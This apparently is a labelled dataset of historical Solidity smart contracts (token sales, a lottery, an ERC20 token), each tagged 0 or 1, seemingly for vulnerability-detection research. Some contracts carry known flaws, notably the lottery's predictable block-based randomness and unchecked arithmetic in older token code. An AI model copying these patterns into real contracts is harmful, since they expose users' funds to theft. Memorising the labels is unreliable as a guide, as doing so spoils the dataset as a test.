function vest(bool _vestingDecision) external isWhitelisted returns(bool) {
bool existingDecision = contributions[msg.sender].hasVested;
require(existingDecision != _vestingDecision);
require(block.timestamp >= publicTGEStartBlockTimeStamp);
require(contributions[msg.sender].weiContributed > 0);
if (block.timestamp > publicTGEEndBlockTimeStamp) {
require(block.timestamp.sub(publicTGEEndBlockTimeStamp) <= TRSOffset);
}
contributions[msg.sender].hasVested = _vestingDecision;
return true;
}
} | 0 | 679 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RxEALTokenContract is StandardToken {
string public constant name = "RxEAL";
string public constant symbol = "RXL";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 96000000 * (10 ** decimals);
address public vault = this;
address public salesAgent;
mapping (address => bool) public owners;
event OwnershipGranted(address indexed _owner, address indexed revoked_owner);
event OwnershipRevoked(address indexed _owner, address indexed granted_owner);
event SalesAgentPermissionsTransferred(address indexed previousSalesAgent, address indexed newSalesAgent);
event SalesAgentRemoved(address indexed currentSalesAgent);
event Burn(uint256 value);
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function RxEALTokenContract() {
owners[msg.sender] = true;
totalSupply = INITIAL_SUPPLY;
balances[vault] = totalSupply;
}
function grantOwnership(address _owner) onlyOwner public {
require(_owner != address(0));
owners[_owner] = true;
OwnershipGranted(msg.sender, _owner);
}
function revokeOwnership(address _owner) onlyOwner public {
require(_owner != msg.sender);
owners[_owner] = false;
OwnershipRevoked(msg.sender, _owner);
}
function transferSalesAgentPermissions(address _salesAgent) onlyOwner public {
SalesAgentPermissionsTransferred(salesAgent, _salesAgent);
salesAgent = _salesAgent;
}
function removeSalesAgent() onlyOwner public {
SalesAgentRemoved(salesAgent);
salesAgent = address(0);
}
function transferTokensFromVault(address _from, address _to, uint256 _amount) public {
require(salesAgent == msg.sender);
balances[vault] = balances[vault].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
}
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
balances[vault] = balances[vault].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_value);
}
}
contract RxEALSaleContractExtended {
using SafeMath for uint256;
RxEALTokenContract public token;
uint256 public startTime = 1520856000;
uint256 public endTime = 1526040000;
address public wallet1 = 0x56E4e5d451dF045827e214FE10bBF99D730d9683;
address public wallet2 = 0x8C0988711E60CfF153359Ab6CFC8d45565C6ce79;
address public wallet3 = 0x0EdF5c34ddE2573f162CcfEede99EeC6aCF1c2CB;
address public wallet4 = 0xcBdC5eE000f77f3bCc0eFeF0dc47d38911CBD45B;
uint256 public tier_rate_1 = 1800;
uint256 public tier_cap_1 = 4584000;
uint256 public tier_rate_2 = 1440;
uint256 public tier_cap_2 = 14400000;
uint256 public tier_rate_3 = 1320;
uint256 public tier_cap_3 = 14400000;
uint256 public tier_rate_4 = 1200;
uint256 public tier_cap_4 = 14400000;
uint256 public hard_cap;
uint8 public current_tier = 1;
uint256 public weiRaised;
uint256 public soldTokens;
uint256 public current_tier_sold_tokens;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 tokens);
function RxEALSaleContractExtended() {
token = RxEALTokenContract(0xD6682Db9106e0cfB530B697cA0EcDC8F5597CD15);
tier_cap_1 = tier_cap_1 * (10 ** token.decimals());
tier_cap_2 = tier_cap_2 * (10 ** token.decimals());
tier_cap_3 = tier_cap_3 * (10 ** token.decimals());
tier_cap_4 = tier_cap_4 * (10 ** token.decimals());
hard_cap = tier_cap_1 + tier_cap_2 + tier_cap_3 + tier_cap_4;
}
function () payable {
buyTokens(msg.sender);
}
function tier_action(
uint8 tier,
uint256 left_wei,
uint256 tokens_amount,
uint8 next_tier,
uint256 tier_rate,
uint256 tier_cap
) internal returns (uint256, uint256) {
if (current_tier == tier) {
uint256 tokens_can_be_sold;
uint256 tokens_to_be_sold = left_wei.mul(tier_rate);
uint256 new_tier_sold_tokens = current_tier_sold_tokens.add(tokens_to_be_sold);
if (new_tier_sold_tokens >= tier_cap) {
uint256 spare_tokens = new_tier_sold_tokens.sub(tier_cap);
tokens_can_be_sold = tokens_to_be_sold.sub(spare_tokens);
current_tier_sold_tokens = 0;
current_tier = next_tier;
} else {
tokens_can_be_sold = tokens_to_be_sold;
current_tier_sold_tokens = new_tier_sold_tokens;
}
uint256 wei_amount = tokens_can_be_sold.div(tier_rate);
left_wei = left_wei.sub(wei_amount);
tokens_amount = tokens_amount.add(tokens_can_be_sold);
}
return (left_wei, tokens_amount);
}
function buyTokens(address beneficiary) public payable {
require(validPurchase());
uint256 left_wei = msg.value;
uint256 tokens_amount;
(left_wei, tokens_amount) = tier_action(1, left_wei, tokens_amount, 2, tier_rate_1, tier_cap_1);
(left_wei, tokens_amount) = tier_action(2, left_wei, tokens_amount, 3, tier_rate_2, tier_cap_2);
(left_wei, tokens_amount) = tier_action(3, left_wei, tokens_amount, 4, tier_rate_3, tier_cap_3);
(left_wei, tokens_amount) = tier_action(4, left_wei, tokens_amount, 4, tier_rate_4, tier_cap_4);
uint256 purchase_wei_amount = msg.value.sub(left_wei);
weiRaised = weiRaised.add(purchase_wei_amount);
soldTokens = soldTokens.add(tokens_amount);
if (left_wei > 0) {
beneficiary.transfer(left_wei);
}
token.transferTokensFromVault(msg.sender, beneficiary, tokens_amount);
TokenPurchase(msg.sender, beneficiary, purchase_wei_amount, tokens_amount);
forwardFunds(purchase_wei_amount);
}
function forwardFunds(uint256 weiAmount) internal {
uint256 value = weiAmount.div(4);
if (value.mul(4) != weiAmount) {
wallet1.transfer(weiAmount);
} else {
wallet1.transfer(value);
wallet2.transfer(value);
wallet3.transfer(value);
wallet4.transfer(value);
}
}
function validPurchase() internal constant returns (bool) {
bool withinCap = soldTokens < hard_cap;
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase && withinCap;
}
function hasEnded() public constant returns (bool) {
return now > endTime || soldTokens >= hard_cap;
}
} | 1 | 2,310 |
contract iCryptolottoReferral {
function getPartnerByReferral(address) public view returns (address) {}
function getPartnerPercent(address) public view returns (uint8) {}
function getSalesPartnerPercent(address) public view returns (uint8) {}
function getSalesPartner(address) public view returns (address) {}
function addReferral(address, address) public {}
}
contract iCryptolottoStatsAggregator {
function newWinner(address, uint, uint, uint, uint8, uint) public {}
}
contract iOwnable {
function getOwner() public view returns (address) {}
function allowed(address) public view returns (bool) {}
}
contract Cryptolotto10Minutes {
event Game(uint _game, uint indexed _time);
event Ticket(
address indexed _address,
uint indexed _game,
uint _number,
uint _time
);
event ToPartner(
address indexed _partner,
address _referral,
uint _amount,
uint _time
);
event ToSalesPartner(
address indexed _salesPartner,
address _partner,
uint _amount,
uint _time
);
uint8 public gType = 7;
uint8 public fee = 10;
uint public game;
uint public ticketPrice = 0.1 ether;
uint public newPrice;
uint public allTimeJackpot = 0;
uint public allTimePlayers = 0;
uint public paidToPartners = 0;
bool public isActive = true;
bool public toogleStatus = false;
uint[] public games;
mapping(uint => uint) jackpot;
mapping(uint => address[]) players;
iOwnable public ownable;
iCryptolottoStatsAggregator public stats;
iCryptolottoReferral public referralInstance;
address public fundsDistributor;
modifier onlyOwner() {
require(ownable.allowed(msg.sender));
_;
}
function Cryptolotto10Minutes(
address ownableContract,
address distributor,
address statsA,
address referralSystem
)
public
{
ownable = iOwnable(ownableContract);
stats = iCryptolottoStatsAggregator(statsA);
referralInstance = iCryptolottoReferral(referralSystem);
fundsDistributor = distributor;
startGame();
}
function() public payable {
buyTicket(address(0));
}
function getPlayedGamePlayers()
public
view
returns (uint)
{
return getPlayersInGame(game);
}
function getPlayersInGame(uint playedGame)
public
view
returns (uint)
{
return players[playedGame].length;
}
function getPlayedGameJackpot()
public
view
returns (uint)
{
return getGameJackpot(game);
}
function getGameJackpot(uint playedGame)
public
view
returns(uint)
{
return jackpot[playedGame];
}
function toogleActive() public onlyOwner() {
if (!isActive) {
isActive = true;
} else {
toogleStatus = !toogleStatus;
}
}
function start() public onlyOwner() {
if (players[game].length > 0) {
pickTheWinner();
}
startGame();
}
function changeTicketPrice(uint price)
public
onlyOwner()
{
newPrice = price;
}
function randomNumber(
uint min,
uint max,
uint time,
uint difficulty,
uint number,
bytes32 bHash
)
public
pure
returns (uint)
{
min ++;
max ++;
uint random = uint(keccak256(
time *
difficulty *
number *
uint(bHash)
))%10 + 1;
uint result = uint(keccak256(random))%(min+max)-min;
if (result > max) {
result = max;
}
if (result < min) {
result = min;
}
result--;
return result;
}
function buyTicket(address partner) public payable {
require(isActive);
require(msg.value == ticketPrice);
jackpot[game] += msg.value;
uint playerNumber = players[game].length;
players[game].push(msg.sender);
processReferralSystem(partner, msg.sender);
emit Ticket(msg.sender, game, playerNumber, now);
}
function startGame() internal {
require(isActive);
game = block.number;
if (newPrice != 0) {
ticketPrice = newPrice;
newPrice = 0;
}
if (toogleStatus) {
isActive = !isActive;
toogleStatus = false;
}
emit Game(game, now);
}
function pickTheWinner() internal {
uint winner;
uint toPlayer;
if (players[game].length == 1) {
toPlayer = jackpot[game];
players[game][0].transfer(jackpot[game]);
winner = 0;
} else {
winner = randomNumber(
0,
players[game].length - 1,
block.timestamp,
block.difficulty,
block.number,
blockhash(block.number - 1)
);
uint distribute = jackpot[game] * fee / 100;
toPlayer = jackpot[game] - distribute;
players[game][winner].transfer(toPlayer);
transferToPartner(players[game][winner]);
distribute -= paidToPartners;
bool result = address(fundsDistributor).call.gas(30000).value(distribute)();
if (!result) {
revert();
}
}
paidToPartners = 0;
stats.newWinner(
players[game][winner],
game,
players[game].length,
toPlayer,
gType,
winner
);
allTimeJackpot += toPlayer;
allTimePlayers += players[game].length;
}
function processReferralSystem(address partner, address referral)
internal
{
address partnerRef = referralInstance.getPartnerByReferral(referral);
if (partner != address(0) || partnerRef != address(0)) {
if (partnerRef == address(0)) {
referralInstance.addReferral(partner, referral);
partnerRef = partner;
}
if (players[game].length > 1) {
transferToPartner(referral);
}
}
}
function transferToPartner(address referral) internal {
address partner = referralInstance.getPartnerByReferral(referral);
if (partner != address(0)) {
uint sum = getPartnerAmount(partner);
if (sum != 0) {
partner.transfer(sum);
paidToPartners += sum;
emit ToPartner(partner, referral, sum, now);
transferToSalesPartner(partner);
}
}
}
function transferToSalesPartner(address partner) internal {
address salesPartner = referralInstance.getSalesPartner(partner);
if (salesPartner != address(0)) {
uint sum = getSalesPartnerAmount(partner);
if (sum != 0) {
salesPartner.transfer(sum);
paidToPartners += sum;
emit ToSalesPartner(salesPartner, partner, sum, now);
}
}
}
function getPartnerAmount(address partner)
internal
view
returns (uint)
{
uint8 partnerPercent = referralInstance.getPartnerPercent(partner);
if (partnerPercent == 0) {
return 0;
}
return calculateReferral(partnerPercent);
}
function getSalesPartnerAmount(address partner)
internal
view
returns (uint)
{
uint8 salesPartnerPercent = referralInstance.getSalesPartnerPercent(partner);
if (salesPartnerPercent == 0) {
return 0;
}
return calculateReferral(salesPartnerPercent);
}
function calculateReferral(uint8 percent)
internal
view
returns (uint)
{
uint distribute = ticketPrice * fee / 100;
return distribute * percent / 100;
}
} | 0 | 1,717 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier stopNonOwnersInEmergency {
require(!halted && msg.sender == owner);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
library SafeMathLib {
function times(uint a, uint b) public pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract FractionalERC20 {
uint public decimals;
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract HoardCrowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
address public multisigWallet;
address public foundersTeamMultisig;
uint public minimumFundingGoal = 1000000000000000;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public presaleTokensSold = 0;
uint public prePresaleTokensSold = 0;
uint public presaleTokenLimit = 80000000000000000000000000;
uint public crowdsaleTokenLimit = 120000000000000000000000000;
uint public percentageOfSoldTokensForFounders = 50;
uint public tokensForFoundingBoardWallet;
address public beneficiary;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public presaleWhitelist;
mapping (address => bool) public participantWhitelist;
uint public ownerTestValue;
uint public oneTokenInWei;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
event Whitelisted(address[] addr, bool status);
event PresaleWhitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
event TokenPriceChanged(uint tokenPrice);
event MultiSigChanged(address newAddr);
event BeneficiaryChanged(address newAddr);
event FoundersWalletChanged(address newAddr);
event FoundersTokenAllocationChanged(uint newValue);
event PrePresaleTokensValueChanged(uint newValue);
constructor(address _token, uint _oneTokenInWei, address _multisigWallet, uint _start, uint _end, address _beneficiary, address _foundersTeamMultisig) public {
require(_multisigWallet != address(0) && _start != 0 && _end != 0 && _start <= _end);
owner = msg.sender;
token = FractionalERC20(_token);
oneTokenInWei = _oneTokenInWei;
multisigWallet = _multisigWallet;
startsAt = _start;
endsAt = _end;
beneficiary = _beneficiary;
foundersTeamMultisig = _foundersTeamMultisig;
}
function() payable public {
investInternal(msg.sender,0);
}
function invest(address addr,uint tokenAmount) public payable {
investInternal(addr,tokenAmount);
}
function investInternal(address receiver, uint tokens) stopInEmergency internal returns(uint tokensBought) {
uint weiAmount = msg.value;
uint tokenAmount = tokens;
if(getState() == State.PreFunding || getState() == State.Funding) {
if(presaleWhitelist[msg.sender]){
presaleWeiRaised = presaleWeiRaised.add(weiAmount);
presaleTokensSold = presaleTokensSold.add(tokenAmount);
require(presaleTokensSold <= presaleTokenLimit);
}
else if(participantWhitelist[receiver]){
uint multiplier = 10 ** token.decimals();
tokenAmount = weiAmount.times(multiplier) / oneTokenInWei;
}
else {
revert();
}
} else {
revert();
}
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
require(tokensSold.sub(presaleTokensSold) <= crowdsaleTokenLimit);
require(!isBreakingCap(tokenAmount));
require(token.transferFrom(beneficiary, receiver, tokenAmount));
emit Invested(receiver, weiAmount, tokenAmount);
multisigWallet.transfer(weiAmount);
return tokenAmount;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
require(!finalized);
tokensForFoundingBoardWallet = tokensSold.times(percentageOfSoldTokensForFounders) / 100;
tokensForFoundingBoardWallet = tokensForFoundingBoardWallet.add(prePresaleTokensSold);
require(token.transferFrom(beneficiary, foundersTeamMultisig, tokensForFoundingBoardWallet));
finalized = true;
}
function setFoundersTokenAllocation(uint _percentageOfSoldTokensForFounders) public onlyOwner{
percentageOfSoldTokensForFounders = _percentageOfSoldTokensForFounders;
emit FoundersTokenAllocationChanged(percentageOfSoldTokensForFounders);
}
function setEndsAt(uint time) onlyOwner public {
require(now < time && startsAt < time);
endsAt = time;
emit EndsAtChanged(endsAt);
}
function setStartsAt(uint time) onlyOwner public {
require(time < endsAt);
startsAt = time;
emit StartsAtChanged(startsAt);
}
function setMultisig(address addr) public onlyOwner {
multisigWallet = addr;
emit MultiSigChanged(addr);
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value > 0);
loadedRefund = loadedRefund.add(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue > 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
emit Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
function isMinimumGoalReached() public view returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public view returns (State) {
if(finalized) return State.Finalized;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner public {
ownerTestValue = val;
}
function setPrePresaleTokens(uint _value) onlyOwner public {
prePresaleTokensSold = _value;
emit PrePresaleTokensValueChanged(_value);
}
function setParticipantWhitelist(address[] addr, bool status) onlyOwner public {
for(uint i = 0; i < addr.length; i++ ){
participantWhitelist[addr[i]] = status;
}
emit Whitelisted(addr, status);
}
function setPresaleWhitelist(address addr, bool status) onlyOwner public {
presaleWhitelist[addr] = status;
emit PresaleWhitelisted(addr, status);
}
function setPricing(uint _oneTokenInWei) onlyOwner public{
oneTokenInWei = _oneTokenInWei;
emit TokenPriceChanged(oneTokenInWei);
}
function changeBeneficiary(address _beneficiary) onlyOwner public{
beneficiary = _beneficiary;
emit BeneficiaryChanged(beneficiary);
}
function changeFoundersWallet(address _foundersTeamMultisig) onlyOwner public{
foundersTeamMultisig = _foundersTeamMultisig;
emit FoundersWalletChanged(foundersTeamMultisig);
}
function isCrowdsale() public pure returns (bool) {
return true;
}
modifier inState(State state) {
require(getState() == state);
_;
}
function isBreakingCap(uint tokenAmount) public view returns (bool limitBroken) {
if(tokenAmount > getTokensLeft()) {
return true;
} else {
return false;
}
}
function isCrowdsaleFull() public view returns (bool) {
return getTokensLeft() == 0;
}
function getTokensLeft() public view returns (uint) {
return token.allowance(beneficiary, this);
}
} | 0 | 781 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,372 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.